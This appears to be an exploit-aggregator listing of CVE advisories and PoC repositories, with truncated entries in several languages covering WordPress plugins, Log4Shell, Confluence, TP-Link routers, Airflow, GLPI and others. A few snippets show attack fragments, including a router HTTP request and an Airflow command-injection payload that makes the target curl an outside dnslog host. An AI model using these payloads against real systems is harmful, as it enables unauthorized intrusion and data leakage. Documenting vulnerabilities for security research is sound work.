CVE-2026-81286 WordPress WCFM Marketplace plugin <= 3.8.1 - SQL Injection vulnerability

Unauthenticated SQL Injection in WCFM Marketplace = 3.8.1 versions...

EUVD-2026-69923

Unauthenticated SQL Injection in WCFM Marketplace = 3.8.1 versions...

CVE-2026-81286

CVE-2026-81286 is an unauthenticated SQL Injection in the WCFM Marketplace WordPress plugin, affecting versions 3.8.1 and earlier . The CNA (Patchstack) assigns a CVSS 3.1 score of 9.3 (CRITICAL) with a changed scope, indicating high confidentiality impact and low availability impact with no requ...

CVE-2026-81283 WordPress WP User Frontend plugin <= 4.3.10 - PHP Object Injection vulnerability

Subscriber PHP Object Injection in WP User Frontend = 4.3.10 versions...

EUVD-2026-69922

Subscriber PHP Object Injection in WP User Frontend = 4.3.10 versions...

CVE-2026-81283

WP User Frontend is a WordPress plugin affected by a PHP Object Injection vulnerability in versions 4.3.10 and below . The vulnerability requires low privileges (subscriber-level access), no user interaction, and a low attack complexity, making it accessible to any authenticated subscriber on a s...

CVE-2024-4040

CVE-2024-4040 CrushFTP의 10.7.1 및 11.1.0 이전의 모든 버전, 모든 플랫폼에서 발견된 서버 측 템플릿 주입Server-Side Template Injection 취약점으로, 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 파일을 읽고, 인증을 우회하여 관리자 액세스 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 사용법 root@kitploit: python poc -u https://example.com -p /path/to/file.txt...

Log4j_CVE-2021-44228

Log4j 취약점은 "Log4Shell" 또는 "CVE-2021-44228"로도 알려져 있으며, Apache Log4j 라이브러리의 치명적인 보안 결함입니다. Log4j는 개발자가 애플리케이션에서 파일, 데이터베이스, 콘솔 출력 등 다양한 대상으로 메시지를 로깅할 수 있도록 하는 널리 사용되는 Java 기반 로깅 프레임워크입니다. 이 취약점은 2021년 12월에 발견되었으며, 그 심각성과 악용 가능성으로 인해 상당한 주목을 받았습니다. Log4j 2.x 버전에 영향을 미치며, 경우에 따라 이전 버전에도 영향을 미칠 수 있습니다...

Atlassian_CVE-2022-26134

Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 2022년 5월 30일, Volexity라는 조직이 Atlassian의 Confluence Server 및 Data Center 에디션https://www.atlassian.com/software/confluence 내에서 인증되지 않은 RCE 취약점NIST 기준 9.8점을 식별했습니다. Confluence는 팀을 위한 협업 문서 및 프로젝트 관리 프레임워크입니다. Confluence는...

CVE-2024-1874

CVE-2024-1874 CVE-2024-1874 の概念実証 procopen の配列形式の $command パラメータを介したコマンドインジェクション（CVE-2024-1874 修正の回避） The CVE: PHP バージョン 8.1. の 8.1.29 未満、8.2. の 8.2.20 未満、8.3. の 8.3.8 未満において、CVE-2024-1874 の修正は、コマンド名に末尾のスペースが含まれる場合に機能しません。元の問題: procopen...

CVE-2022-25064

CVE-2022-25064 TP-LINK TL-WR840N における oalwan6setIpAddr 関数を介した RCE 実証コード（POC） root@kitploit: POST /cgi?2&2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:95.0 Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3...

CVE-2023-43482

CVE-2023-43482 TP-Link ER7206 Omada Gigabit VPN Router uhttpd freeStrategy 명령 주입 취약점 요약 Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591의 게스트 리소스 기능에 명령 실행 취약점이 존재합니다. 특수하게 조작된 HTTP 요청으로 임의 명령 실행이 가능합니다. 공격자는 인증된 HTTP 요청을 통해 이 취약점을 트리거할 수 있습니다. 확인된 취약 버전 아래 버전은 Talos에 의해...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog를 통한 POC 2 root@kitploit: curl -X 'POST' ...

CVE-2026-82958

In Eclipse Ditto versions 1.3.0, 3.9.6, the ImplicitThingCreationMessageMapper of the connectivity service builds a CreateThing command by substituting placeholder values e.g. header:deviceid resolved from inbound message headers into a pre-configured JSON "thing" template as raw, un-escaped...

glpi-logbleed

glpi-logbleed GLPI 기록 로그 필터의 블라인드 SQL 인젝션. CVE-2026-53629, 11.0.8 및 10.0.26에서 수정되었으며, 9.4.0부터 존재하던 취약점입니다. logs 읽기 권한이 있는 계정이면 됩니다. 기본 제공되는 읽기 전용 프로필에 이 권한이 있습니다. 보안 권고: GHSA-cpcj-x335-5cmh 분석 글: 발견 과정 버그 Log::convertFiltersValuesToSqlCriteria는 affectedfields 필터를 key:operator:values로 분할합니다...

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

CVE-2026-44680 - MikroORM SQL 인젝션 익스플로잇 프레임워크 보안 연구자를 위한 전문 PoC 도구 🔍 개요 CVE-2026-44680 은 Node.js용 인기 TypeScript ORM인 MikroORM에 영향을 미치는 심각한 SQL 인젝션 취약점입니다. 이 익스플로잇 프레임워크는 보안 연구자와 침투 테스터에게 취약점을 탐지하고 악용할 수 있는 전문 도구를 제공합니다. 저자: Sudeepa Wanigarathna 버전: 1.0.0 분류: 전문 보안 연구 도구 🚨 취약점 세부 정보...

CVE-2026-10170-RCE

Visitor Management System 1.0 - SQLiからリモートコード実行への攻撃チェーン 脆弱性情報...

sxwp2shell

/ / / / / / | |/ / / / / / / / / / | // / / / / / / / / / / / / // | / /// / // // / // / /|| sxwp2shell — REST API 배치 라우트 혼동CVE-2026-63030 + SQL 인젝션CVE-2026-60137을 악용한 WordPress 사전 인증 RCE 익스플로잇. 영향받는 버전: WP 6.9.0–6.9.4 / 7.0.0–7.0.1 설치 root@kitploit: git clone...

CVE-2023-22496-PoC

CVE-2023-22496 — PoC de Inyección de Comandos del SO en Netdata Agent Gravedad : Crítica CVSS 9.8 Afectado : Netdata Agent Corregido en : v1.37.0 Tipo : Inyección de Comandos del SO CWE-78 Resumen CVE-2023-22496 es una vulnerabilidad de inyección de comandos del SO en el sistema de notificación d...

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE CVE-2022-22947 の概要 root@kitploit: 危険度：高リスク POC/EXP状況：公開済み CNVD番号：CNNVD-2022-16402 影響範囲： Spring Cloud GateWay 3.1.0 Spring Cloud GateWay =3.0.0，=3.0.6 Spring Cloud GateWay 3.0.0 脆弱性の説明 Spring Cloud Gateway にはリモートコード実行の脆弱性が存在します。この脆弱性は Spring Cloud Gatewa...